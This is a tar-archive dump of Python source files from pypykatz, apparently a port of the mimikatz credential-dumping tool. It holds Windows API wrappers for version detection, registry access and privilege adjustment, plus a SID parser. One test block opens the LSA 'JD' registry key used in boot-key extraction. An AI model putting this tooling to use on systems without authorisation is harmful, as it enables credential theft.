RaiseIfZero osi = OSVERSIONINFOEXA() osi.dwOSVersionInfoSize = sizeof(osi) try: _GetVersionExA(byref(osi)) except WindowsError: osi = OSVERSIONINFOA() osi.dwOSVersionInfoSize = sizeof(osi) _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOA)] _GetVersionExA(byref(osi)) return osi def GetVersionExW(): _GetVersionExW = windll.kernel32.GetVersionExW _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOEXW)] _GetVersionExW.restype = bool _GetVersionExW.errcheck = RaiseIfZero osi = OSVERSIONINFOEXW() osi.dwOSVersionInfoSize = sizeof(osi) try: _GetVersionExW(byref(osi)) except WindowsError: osi = OSVERSIONINFOW() osi.dwOSVersionInfoSize = sizeof(osi) _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOW)] _GetVersionExW(byref(osi)) return osi GetVersionEx = GuessStringType(GetVersionExA, GetVersionExW) # BOOL WINAPI GetProductInfo( # __in DWORD dwOSMajorVersion, # __in DWORD dwOSMinorVersion, # __in DWORD dwSpMajorVersion, # __in DWORD dwSpMinorVersion, # __out PDWORD pdwReturnedProductType # ); def GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion): _GetProductInfo = windll.kernel32.GetProductInfo _GetProductInfo.argtypes = [DWORD, DWORD, DWORD, DWORD, PDWORD] _GetProductInfo.restype = BOOL _GetProductInfo.errcheck = RaiseIfZero dwReturnedProductType = DWORD(0) _GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, byref(dwReturnedProductType)) return dwReturnedProductType.value # BOOL WINAPI VerifyVersionInfo( # __in LPOSVERSIONINFOEX lpVersionInfo, # __in DWORD dwTypeMask, # __in DWORDLONG dwlConditionMask # ); def VerifyVersionInfo(lpVersionInfo, dwTypeMask, dwlConditionMask): if isinstance(lpVersionInfo, OSVERSIONINFOEXA): return VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask) if isinstance(lpVersionInfo, OSVERSIONINFOEXW): return VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask) raise TypeError("Bad OSVERSIONINFOEX structure") def VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask): _VerifyVersionInfoA = windll.kernel32.VerifyVersionInfoA _VerifyVersionInfoA.argtypes = [LPOSVERSIONINFOEXA, DWORD, DWORDLONG] _VerifyVersionInfoA.restype = bool return _VerifyVersionInfoA(byref(lpVersionInfo), dwTypeMask, dwlConditionMask) def VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask): _VerifyVersionInfoW = windll.kernel32.VerifyVersionInfoW _VerifyVersionInfoW.argtypes = [LPOSVERSIONINFOEXW, DWORD, DWORDLONG] _VerifyVersionInfoW.restype = bool return _VerifyVersionInfoW(byref(lpVersionInfo), dwTypeMask, dwlConditionMask) # ULONGLONG WINAPI VerSetConditionMask( # __in ULONGLONG dwlConditionMask, # __in DWORD dwTypeBitMask, # __in BYTE dwConditionMask # ); def VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask): _VerSetConditionMask = windll.kernel32.VerSetConditionMask _VerSetConditionMask.argtypes = [ULONGLONG, DWORD, BYTE] _VerSetConditionMask.restype = ULONGLONG return _VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask) #--- get_bits, get_arch and get_os -------------------------------------------- ARCH_UNKNOWN = "unknown" ARCH_I386 = "i386" ARCH_MIPS = "mips" ARCH_ALPHA = "alpha" ARCH_PPC = "ppc" ARCH_SHX = "shx" ARCH_ARM = "arm" ARCH_ARM64 = "arm64" ARCH_THUMB = "thumb" ARCH_IA64 = "ia64" ARCH_ALPHA64 = "alpha64" ARCH_MSIL = "msil" ARCH_AMD64 = "amd64" ARCH_SPARC = "sparc" # aliases ARCH_IA32 = ARCH_I386 ARCH_X86 = ARCH_I386 ARCH_X64 = ARCH_AMD64 ARCH_ARM7 = ARCH_ARM ARCH_ARM8 = ARCH_ARM64 ARCH_T32 = ARCH_THUMB ARCH_AARCH32 = ARCH_ARM7 ARCH_AARCH64 = ARCH_ARM8 ARCH_POWERPC = ARCH_PPC ARCH_HITACHI = ARCH_SHX ARCH_ITANIUM = ARCH_IA64 # win32 constants -> our constants _arch_map = { PROCESSOR_ARCHITECTURE_INTEL : ARCH_I386, PROCESSOR_ARCHITECTURE_MIPS : ARCH_MIPS, PROCESSOR_ARCHITECTURE_ALPHA : ARCH_ALPHA, PROCESSOR_ARCHITECTURE_PPC : ARCH_PPC, PROCESSOR_ARCHITECTURE_SHX : ARCH_SHX, PROCESSOR_ARCHITECTURE_ARM : ARCH_ARM, PROCESSOR_ARCHITECTURE_IA64 : ARCH_IA64, PROCESSOR_ARCHITECTURE_ALPHA64 : ARCH_ALPHA64, PROCESSOR_ARCHITECTURE_MSIL : ARCH_MSIL, PROCESSOR_ARCHITECTURE_AMD64 : ARCH_AMD64, PROCESSOR_ARCHITECTURE_SPARC : ARCH_SPARC, } OS_UNKNOWN = "Unknown" OS_NT = "Windows NT" OS_W2K = "Windows 2000" OS_XP = "Windows XP" OS_XP_64 = "Windows XP (64 bits)" OS_W2K3 = "Windows 2003" OS_W2K3_64 = "Windows 2003 (64 bits)" OS_W2K3R2 = "Windows 2003 R2" OS_W2K3R2_64 = "Windows 2003 R2 (64 bits)" OS_W2K8 = "Windows 2008" OS_W2K8_64 = "Windows 2008 (64 bits)" OS_W2K8R2 = "Windows 2008 R2" OS_W2K8R2_64 = "Windows 2008 R2 (64 bits)" OS_VISTA = "Windows Vista" OS_VISTA_64 = "Windows Vista (64 bits)" OS_W7 = "Windows 7" OS_W7_64 = "Windows 7 (64 bits)" OS_SEVEN = OS_W7 OS_SEVEN_64 = OS_W7_64 OS_WINDOWS_NT = OS_NT OS_WINDOWS_2000 = OS_W2K OS_WINDOWS_XP = OS_XP OS_WINDOWS_XP_64 = OS_XP_64 OS_WINDOWS_2003 = OS_W2K3 OS_WINDOWS_2003_64 = OS_W2K3_64 OS_WINDOWS_2003_R2 = OS_W2K3R2 OS_WINDOWS_2003_R2_64 = OS_W2K3R2_64 OS_WINDOWS_2008 = OS_W2K8 OS_WINDOWS_2008_64 = OS_W2K8_64 OS_WINDOWS_2008_R2 = OS_W2K8R2 OS_WINDOWS_2008_R2_64 = OS_W2K8R2_64 OS_WINDOWS_VISTA = OS_VISTA OS_WINDOWS_VISTA_64 = OS_VISTA_64 OS_WINDOWS_SEVEN = OS_W7 OS_WINDOWS_SEVEN_64 = OS_W7_64 def _get_bits(): """ Determines the current integer size in bits. This is useful to know if we're running in a 32 bits or a 64 bits machine. @rtype: int @return: Returns the size of L{SIZE_T} in bits. """ return sizeof(SIZE_T) * 8 def _get_arch(): """ Determines the current processor architecture. @rtype: str @return: On error, returns: - L{ARCH_UNKNOWN} (C{"unknown"}) meaning the architecture could not be detected or is not known to WinAppDbg. On success, returns one of the following values: - L{ARCH_I386} (C{"i386"}) for Intel 32-bit x86 processor or compatible. - L{ARCH_AMD64} (C{"amd64"}) for Intel 64-bit x86_64 processor or compatible. May also return one of the following values if you get both Python and WinAppDbg to work in such machines... let me know if you do! :) - L{ARCH_MIPS} (C{"mips"}) for MIPS compatible processors. - L{ARCH_ALPHA} (C{"alpha"}) for Alpha processors. - L{ARCH_PPC} (C{"ppc"}) for PowerPC compatible processors. - L{ARCH_SHX} (C{"shx"}) for Hitachi SH processors. - L{ARCH_ARM} (C{"arm"}) for ARM compatible processors. - L{ARCH_IA64} (C{"ia64"}) for Intel Itanium processor or compatible. - L{ARCH_ALPHA64} (C{"alpha64"}) for Alpha64 processors. - L{ARCH_MSIL} (C{"msil"}) for the .NET virtual machine. - L{ARCH_SPARC} (C{"sparc"}) for Sun Sparc processors. Probably IronPython returns C{ARCH_MSIL} but I haven't tried it. Python on Windows CE and Windows Mobile should return C{ARCH_ARM}. Python on Solaris using Wine would return C{ARCH_SPARC}. Python in an Itanium machine should return C{ARCH_IA64} both on Wine and proper Windows. All other values should only be returned on Linux using Wine. """ try: si = GetNativeSystemInfo() except Exception: si = GetSystemInfo() try: return _arch_map[si.id.w.wProcessorArchitecture] except KeyError: return ARCH_UNKNOWN def _get_wow64(): """ Determines if the current process is running in Windows-On-Windows 64 bits. @rtype: bool @return: C{True} of the current process is a 32 bit program running in a 64 bit version of Windows, C{False} if it's either a 32 bit program in a 32 bit Windows or a 64 bit program in a 64 bit Windows. """ # Try to determine if the debugger itself is running on WOW64. # On error assume False. if bits == 64: wow64 = False else: try: wow64 = IsWow64Process( GetCurrentProcess() ) except Exception: wow64 = False return wow64 def _get_os(osvi = None): """ Determines the current operating system. This function allows you to quickly tell apart major OS differences. For more detailed information call L{GetVersionEx} instead. @note: Wine reports itself as Windows XP 32 bits (even if the Linux host is 64 bits). ReactOS may report itself as Windows 2000 or Windows XP, depending on the version of ReactOS. @type osvi: L{OSVERSIONINFOEXA} @param osvi: Optional. The return value from L{GetVersionEx}. @rtype: str @return: One of the following values: - L{OS_UNKNOWN} (C{"Unknown"}) - L{OS_NT} (C{"Windows NT"}) - L{OS_W2K} (C{"Windows 2000"}) - L{OS_XP} (C{"Windows XP"}) - L{OS_XP_64} (C{"Windows XP (64 bits)"}) - L{OS_W2K3} (C{"Windows 2003"}) - L{OS_W2K3_64} (C{"Windows 2003 (64 bits)"}) - L{OS_W2K3R2} (C{"Windows 2003 R2"}) - L{OS_W2K3R2_64} (C{"Windows 2003 R2 (64 bits)"}) - L{OS_W2K8} (C{"Windows 2008"}) - L{OS_W2K8_64} (C{"Windows 2008 (64 bits)"}) - L{OS_W2K8R2} (C{"Windows 2008 R2"}) - L{OS_W2K8R2_64} (C{"Windows 2008 R2 (64 bits)"}) - L{OS_VISTA} (C{"Windows Vista"}) - L{OS_VISTA_64} (C{"Windows Vista (64 bits)"}) - L{OS_W7} (C{"Windows 7"}) - L{OS_W7_64} (C{"Windows 7 (64 bits)"}) """ # rough port of http://msdn.microsoft.com/en-us/library/ms724429%28VS.85%29.aspx if not osvi: osvi = GetVersionEx() if osvi.dwPlatformId == VER_PLATFORM_WIN32_NT and osvi.dwMajorVersion > 4: if osvi.dwMajorVersion == 6: if osvi.dwMinorVersion == 0: if osvi.wProductType == VER_NT_WORKSTATION: if bits == 64 or wow64: return 'Windows Vista (64 bits)' return 'Windows Vista' else: if bits == 64 or wow64: return 'Windows 2008 (64 bits)' return 'Windows 2008' if osvi.dwMinorVersion == 1: if osvi.wProductType == VER_NT_WORKSTATION: if bits == 64 or wow64: return 'Windows 7 (64 bits)' return 'Windows 7' else: if bits == 64 or wow64: return 'Windows 2008 R2 (64 bits)' return 'Windows 2008 R2' if osvi.dwMajorVersion == 5: if osvi.dwMinorVersion == 2: if GetSystemMetrics(SM_SERVERR2): if bits == 64 or wow64: return 'Windows 2003 R2 (64 bits)' return 'Windows 2003 R2' if osvi.wSuiteMask in (VER_SUITE_STORAGE_SERVER, VER_SUITE_WH_SERVER): if bits == 64 or wow64: return 'Windows 2003 (64 bits)' return 'Windows 2003' if osvi.wProductType == VER_NT_WORKSTATION and arch == ARCH_AMD64: return 'Windows XP (64 bits)' else: if bits == 64 or wow64: return 'Windows 2003 (64 bits)' return 'Windows 2003' if osvi.dwMinorVersion == 1: return 'Windows XP' if osvi.dwMinorVersion == 0: return 'Windows 2000' if osvi.dwMajorVersion == 4: return 'Windows NT' return 'Unknown' def _get_ntddi(osvi): """ Determines the current operating system. This function allows you to quickly tell apart major OS differences. For more detailed information call L{kernel32.GetVersionEx} instead. @note: Wine reports itself as Windows XP 32 bits (even if the Linux host is 64 bits). ReactOS may report itself as Windows 2000 or Windows XP, depending on the version of ReactOS. @type osvi: L{OSVERSIONINFOEXA} @param osvi: Optional. The return value from L{kernel32.GetVersionEx}. @rtype: int @return: NTDDI version number. """ if not osvi: osvi = GetVersionEx() ntddi = 0 ntddi += (osvi.dwMajorVersion & 0xFF) << 24 ntddi += (osvi.dwMinorVersion & 0xFF) << 16 ntddi += (osvi.wServicePackMajor & 0xFF) << 8 ntddi += (osvi.wServicePackMinor & 0xFF) return ntddi # The order of the following definitions DOES matter! # Current integer size in bits. See L{_get_bits} for more details. bits = _get_bits() # Current processor architecture. See L{_get_arch} for more details. arch = _get_arch() # Set to C{True} if the current process is running in WOW64. See L{_get_wow64} for more details. wow64 = _get_wow64() _osvi = GetVersionEx() # Current operating system. See L{_get_os} for more details. os = _get_os(_osvi) # Current operating system as an NTDDI constant. See L{_get_ntddi} for more details. NTDDI_VERSION = _get_ntddi(_osvi) # Upper word of L{NTDDI_VERSION}, contains the OS major and minor version number. WINVER = NTDDI_VERSION >> 16 #--- version.dll -------------------------------------------------------------- VS_FF_DEBUG = 0x00000001 VS_FF_PRERELEASE = 0x00000002 VS_FF_PATCHED = 0x00000004 VS_FF_PRIVATEBUILD = 0x00000008 VS_FF_INFOINFERRED = 0x00000010 VS_FF_SPECIALBUILD = 0x00000020 VOS_UNKNOWN = 0x00000000 VOS__WINDOWS16 = 0x00000001 VOS__PM16 = 0x00000002 VOS__PM32 = 0x00000003 VOS__WINDOWS32 = 0x00000004 VOS_DOS = 0x00010000 VOS_OS216 = 0x00020000 VOS_OS232 = 0x00030000 VOS_NT = 0x00040000 VOS_DOS_WINDOWS16 = 0x00010001 VOS_DOS_WINDOWS32 = 0x00010004 VOS_NT_WINDOWS32 = 0x00040004 VOS_OS216_PM16 = 0x00020002 VOS_OS232_PM32 = 0x00030003 VFT_UNKNOWN = 0x00000000 VFT_APP = 0x00000001 VFT_DLL = 0x00000002 VFT_DRV = 0x00000003 VFT_FONT = 0x00000004 VFT_VXD = 0x00000005 VFT_RESERVED = 0x00000006 # undocumented VFT_STATIC_LIB = 0x00000007 VFT2_UNKNOWN = 0x00000000 VFT2_DRV_PRINTER = 0x00000001 VFT2_DRV_KEYBOARD = 0x00000002 VFT2_DRV_LANGUAGE = 0x00000003 VFT2_DRV_DISPLAY = 0x00000004 VFT2_DRV_MOUSE = 0x00000005 VFT2_DRV_NETWORK = 0x00000006 VFT2_DRV_SYSTEM = 0x00000007 VFT2_DRV_INSTALLABLE = 0x00000008 VFT2_DRV_SOUND = 0x00000009 VFT2_DRV_COMM = 0x0000000A VFT2_DRV_RESERVED = 0x0000000B # undocumented VFT2_DRV_VERSIONED_PRINTER = 0x0000000C VFT2_FONT_RASTER = 0x00000001 VFT2_FONT_VECTOR = 0x00000002 VFT2_FONT_TRUETYPE = 0x00000003 # typedef struct tagVS_FIXEDFILEINFO { # DWORD dwSignature; # DWORD dwStrucVersion; # DWORD dwFileVersionMS; # DWORD dwFileVersionLS; # DWORD dwProductVersionMS; # DWORD dwProductVersionLS; # DWORD dwFileFlagsMask; # DWORD dwFileFlags; # DWORD dwFileOS; # DWORD dwFileType; # DWORD dwFileSubtype; # DWORD dwFileDateMS; # DWORD dwFileDateLS; # } VS_FIXEDFILEINFO; class VS_FIXEDFILEINFO(Structure): _fields_ = [ ("dwSignature", DWORD), ("dwStrucVersion", DWORD), ("dwFileVersionMS", DWORD), ("dwFileVersionLS", DWORD), ("dwProductVersionMS", DWORD), ("dwProductVersionLS", DWORD), ("dwFileFlagsMask", DWORD), ("dwFileFlags", DWORD), ("dwFileOS", DWORD), ("dwFileType", DWORD), ("dwFileSubtype", DWORD), ("dwFileDateMS", DWORD), ("dwFileDateLS", DWORD), ] PVS_FIXEDFILEINFO = POINTER(VS_FIXEDFILEINFO) LPVS_FIXEDFILEINFO = PVS_FIXEDFILEINFO # BOOL WINAPI GetFileVersionInfo( # _In_ LPCTSTR lptstrFilename, # _Reserved_ DWORD dwHandle, # _In_ DWORD dwLen, # _Out_ LPVOID lpData # ); # DWORD WINAPI GetFileVersionInfoSize( # _In_ LPCTSTR lptstrFilename, # _Out_opt_ LPDWORD lpdwHandle # ); def GetFileVersionInfoA(lptstrFilename): _GetFileVersionInfoA = windll.version.GetFileVersionInfoA _GetFileVersionInfoA.argtypes = [LPSTR, DWORD, DWORD, LPVOID] _GetFileVersionInfoA.restype = bool _GetFileVersionInfoA.errcheck = RaiseIfZero _GetFileVersionInfoSizeA = windll.version.GetFileVersionInfoSizeA _GetFileVersionInfoSizeA.argtypes = [LPSTR, LPVOID] _GetFileVersionInfoSizeA.restype = DWORD _GetFileVersionInfoSizeA.errcheck = RaiseIfZero dwLen = _GetFileVersionInfoSizeA(lptstrFilename, None) lpData = ctypes.create_string_buffer(dwLen) _GetFileVersionInfoA(lptstrFilename, 0, dwLen, byref(lpData)) return lpData def GetFileVersionInfoW(lptstrFilename): _GetFileVersionInfoW = windll.version.GetFileVersionInfoW _GetFileVersionInfoW.argtypes = [LPWSTR, DWORD, DWORD, LPVOID] _GetFileVersionInfoW.restype = bool _GetFileVersionInfoW.errcheck = RaiseIfZero _GetFileVersionInfoSizeW = windll.version.GetFileVersionInfoSizeW _GetFileVersionInfoSizeW.argtypes = [LPWSTR, LPVOID] _GetFileVersionInfoSizeW.restype = DWORD _GetFileVersionInfoSizeW.errcheck = RaiseIfZero dwLen = _GetFileVersionInfoSizeW(lptstrFilename, None) lpData = ctypes.create_string_buffer(dwLen) # not a string! _GetFileVersionInfoW(lptstrFilename, 0, dwLen, byref(lpData)) return lpData GetFileVersionInfo = GuessStringType(GetFileVersionInfoA, GetFileVersionInfoW) # BOOL WINAPI VerQueryValue( # _In_ LPCVOID pBlock, # _In_ LPCTSTR lpSubBlock, # _Out_ LPVOID *lplpBuffer, # _Out_ PUINT puLen # ); def VerQueryValueA(pBlock, lpSubBlock): _VerQueryValueA = windll.version.VerQueryValueA _VerQueryValueA.argtypes = [LPVOID, LPSTR, LPVOID, POINTER(UINT)] _VerQueryValueA.restype = bool _VerQueryValueA.errcheck = RaiseIfZero lpBuffer = LPVOID(0) uLen = UINT(0) _VerQueryValueA(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen)) return lpBuffer, uLen.value def VerQueryValueW(pBlock, lpSubBlock): _VerQueryValueW = windll.version.VerQueryValueW _VerQueryValueW.argtypes = [LPVOID, LPWSTR, LPVOID, POINTER(UINT)] _VerQueryValueW.restype = bool _VerQueryValueW.errcheck = RaiseIfZero lpBuffer = LPVOID(0) uLen = UINT(0) _VerQueryValueW(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen)) return lpBuffer, uLen.value VerQueryValue = GuessStringType(VerQueryValueA, VerQueryValueW) #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/winreg.py0000664000175000017500000000344014543266630025501 0ustar00webdevwebdevimport ctypes import winreg from pypykatz.commons.readers.local.common.defines import * # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya def RegOpenKey(key_handle, key_path): _RegOpenKey = windll.Advapi32.RegOpenKeyA _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE] _RegOpenKey.restype = bool _RegOpenKey.errcheck = RaiseIfNotZero lpClass = ctypes.create_string_buffer(key_path.encode()) key_handle_new = HANDLE() res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new)) return key_handle_new # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya def RegQueryInfoKey(key_handle): _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID] _RegQueryInfoKey.restype = bool _RegQueryInfoKey.errcheck = RaiseIfNotZero lpClass = ctypes.create_string_buffer(b"", 255) lpcchClass = DWORD(255) lpReserved = DWORD(0) lpcSubKeys = DWORD(0) lpcbMaxSubKeyLen = DWORD(0) lpcbMaxClassLen = DWORD(0) lpcValues = DWORD(0) lpcbMaxValueNameLen = DWORD(0) lpcbMaxValueLen = DWORD(0) lpcbSecurityDescriptor = DWORD(0) lpftLastWriteTime = None res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) if __name__ == '__main__': pkey = winreg.HKEY_LOCAL_MACHINE for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'): pkey = RegOpenKey(pkey, name) ki = RegQueryInfoKey(pkey) print(ki[0]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/kernel32.py0000664000175000017500000000070714543266630023010 0ustar00webdevwebdevfrom pypykatz.commons.winapi.local.function_defs.kernel32 import OpenProcess, CloseHandle, GetCurrentProcessId class KERNEL32: def __init__(self): pass @staticmethod def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): return OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId) @staticmethod def CloseHandle(any_handle): CloseHandle(any_handle) @staticmethod def GetCurrentProcessId(): return GetCurrentProcessId()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/localwindowsapi.py0000664000175000017500000000056114543266630024560 0ustar00webdevwebdev from pypykatz.commons.winapi.local.ntdll import NTDLL from pypykatz.commons.winapi.local.advapi32 import ADVAPI32 from pypykatz.commons.winapi.local.psapi import PSAPI from pypykatz.commons.winapi.local.kernel32 import KERNEL32 class LocalWindowsAPI: def __init__(self): self.ntdll = NTDLL self.advapi32 = ADVAPI32 self.psapi = PSAPI self.kernel32 = KERNEL32././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/ntdll.py0000664000175000017500000000046214543266630022476 0ustar00webdevwebdev from pypykatz.commons.winapi.local.function_defs.ntdll import RtlAdjustPrivilege class NTDLL: def __init__(self): pass @staticmethod def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): return RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/psapi.py0000664000175000017500000000027114543266630022473 0ustar00webdevwebdevfrom pypykatz.commons.winapi.local.function_defs.psapi import EnumProcesses class PSAPI: def __init__(self): pass @staticmethod def EnumProcesses(): return EnumProcesses() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/sid.py0000664000175000017500000002101714543266630022137 0ustar00webdevwebdevimport io import ctypes # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/f992ad60-0fe4-4b87-9fed-beb478836861 class SID: def __init__(self): self.Revision = None self.SubAuthorityCount = None self.IdentifierAuthority = None self.SubAuthority = [] self.wildcard = None #this is for well-known-sid lookups @staticmethod def from_string(sid_str, wildcard = False): if sid_str[:4] != 'S-1-': raise Exception('This is not a SID') sid = SID() sid.wildcard = wildcard sid.Revision = 1 sid_str = sid_str[4:] t = sid_str.split('-')[0] if t[:2] == '0x': print(t[2:]) sid.IdentifierAuthority = int(t[2:],16) else: sid.IdentifierAuthority = int(t) for p in sid_str.split('-')[1:]: try: p = int(p) except Exception as e: if wildcard != True: raise e sid.SubAuthority.append(p) return sid @staticmethod def from_address(addr): data = ctypes.string_at(addr, size = 8) cnt = data[1] #SubAuthorityCount data += ctypes.string_at(addr+8, size = (cnt*4)) return SID.from_bytes(data) @staticmethod def from_bytes(data): return SID.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sid = SID() sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False) sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False) sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False) for i in range(sid.SubAuthorityCount): sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False)) return sid def to_bytes(self): t = self.Revision.to_bytes(1, 'little') t += len(self.SubAuthority).to_bytes(1, 'little') t += self.IdentifierAuthority.to_bytes(6, 'big') for i in self.SubAuthority: t += i.to_bytes((i.bit_length() + 7) // 8, 'little') return t def __str__(self): t = 'S-1-' if self.IdentifierAuthority < 2**32: t += str(self.IdentifierAuthority) else: t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0') for i in self.SubAuthority: t += '-' + str(i) return t well_known_sids = { 'NULL' : SID.from_string('S-1-0-0', True), 'EVERYONE' : SID.from_string('S-1-1-0', True), 'LOCAL' : SID.from_string('S-1-2-0', True), 'CONSOLE_LOGON' : SID.from_string('S-1-2-1', True), 'CREATOR_OWNER' : SID.from_string('S-1-3-0', True), 'CREATOR_GROUP' : SID.from_string('S-1-3-1', True), 'OWNER_SERVER' : SID.from_string('S-1-3-2', True), 'GROUP_SERVER' : SID.from_string('S-1-3-3', True), 'OWNER_RIGHTS' : SID.from_string('S-1-3-4', True), 'NT_AUTHORITY' : SID.from_string('S-1-5', True), 'DIALUP' : SID.from_string('S-1-5-1', True), 'NETWORK' : SID.from_string('S-1-5-2', True), 'BATCH' : SID.from_string('S-1-5-3', True), 'INTERACTIVE' : SID.from_string('S-1-5-4', True), 'LOGON_ID' : SID.from_string('S-1-5-5-x-y', True), 'SERVICE' : SID.from_string('S-1-5-6', True), 'ANONYMOUS' : SID.from_string('S-1-5-7', True), 'PROXY' : SID.from_string('S-1-5-8', True), 'ENTERPRISE_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-9', True), 'PRINCIPAL_SELF' : SID.from_string('S-1-5-10', True), 'AUTHENTICATED_USERS' : SID.from_string('S-1-5-11', True), 'RESTRICTED_CODE' : SID.from_string('S-1-5-12', True), 'TERMINAL_SERVER_USER' : SID.from_string('S-1-5-13', True), 'REMOTE_INTERACTIVE_LOGON' : SID.from_string('S-1-5-14', True), 'THIS_ORGANIZATION' : SID.from_string('S-1-5-15', True), 'IUSR' : SID.from_string('S-1-5-17', True), 'LOCAL_SYSTEM' : SID.from_string('S-1-5-18', True), 'LOCAL_SERVICE' : SID.from_string('S-1-5-19', True), 'NETWORK_SERVICE' : SID.from_string('S-1-5-20', True), 'ENTERPRISE_READONLY_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21--498', True), 'COMPOUNDED_AUTHENTICATION' : SID.from_string('S-1-5-21-0-0-0-496', True), 'CLAIMS_VALID' : SID.from_string('S-1-5-21-0-0-0-497', True), 'ADMINISTRATOR' : SID.from_string('S-1-5-21--500', True), 'GUEST' : SID.from_string('S-1-5-21--501', True), 'KRBTG' : SID.from_string('S-1-5-21--502', True), 'DOMAIN_ADMINS' : SID.from_string('S-1-5-21--512', True), 'DOMAIN_USERS' : SID.from_string('S-1-5-21--513', True), 'DOMAIN_GUESTS' : SID.from_string('S-1-5-21--514', True), 'DOMAIN_COMPUTERS' : SID.from_string('S-1-5-21--515', True), 'DOMAIN_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21--516', True), 'CERT_PUBLISHERS' : SID.from_string('S-1-5-21--517', True), 'SCHEMA_ADMINISTRATORS' : SID.from_string('S-1-5-21--518', True), 'ENTERPRISE_ADMINS' : SID.from_string('S-1-5-21--519', True), 'GROUP_POLICY_CREATOR_OWNERS' : SID.from_string('S-1-5-21--520', True), 'READONLY_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21--521', True), 'CLONEABLE_CONTROLLERS' : SID.from_string('S-1-5-21--522', True), 'PROTECTED_USERS' : SID.from_string('S-1-5-21--525', True), 'KEY_ADMINS' : SID.from_string('S-1-5-21--526', True), 'ENTERPRISE_KEY_ADMINS' : SID.from_string('S-1-5-21--527', True), 'RAS_SERVERS' : SID.from_string('S-1-5-21--553', True), 'ALLOWED_RODC_PASSWORD_REPLICATION_GROUP' : SID.from_string('S-1-5-21--571', True), 'DENIED_RODC_PASSWORD_REPLICATION_GROUP' : SID.from_string('S-1-5-21--572', True), 'BUILTIN_ADMINISTRATORS' : SID.from_string('S-1-5-32-544', True), 'BUILTIN_USERS' : SID.from_string('S-1-5-32-545', True), 'BUILTIN_GUESTS' : SID.from_string('S-1-5-32-546', True), 'POWER_USERS' : SID.from_string('S-1-5-32-547', True), 'ACCOUNT_OPERATORS' : SID.from_string('S-1-5-32-548', True), 'SERVER_OPERATORS' : SID.from_string('S-1-5-32-549', True), 'PRINTER_OPERATORS' : SID.from_string('S-1-5-32-550', True), 'BACKUP_OPERATORS' : SID.from_string('S-1-5-32-551', True), 'REPLICATOR' : SID.from_string('S-1-5-32-552', True), 'ALIAS_PREW2KCOMPACC' : SID.from_string('S-1-5-32-554', True), 'REMOTE_DESKTOP' : SID.from_string('S-1-5-32-555', True), 'NETWORK_CONFIGURATION_OPS' : SID.from_string('S-1-5-32-556', True), 'INCOMING_FOREST_TRUST_BUILDERS' : SID.from_string('S-1-5-32-557', True), 'PERFMON_USERS' : SID.from_string('S-1-5-32-558', True), 'PERFLOG_USERS' : SID.from_string('S-1-5-32-559', True), 'WINDOWS_AUTHORIZATION_ACCESS_GROUP' : SID.from_string('S-1-5-32-560', True), 'TERMINAL_SERVER_LICENSE_SERVERS' : SID.from_string('S-1-5-32-561', True), 'DISTRIBUTED_COM_USERS' : 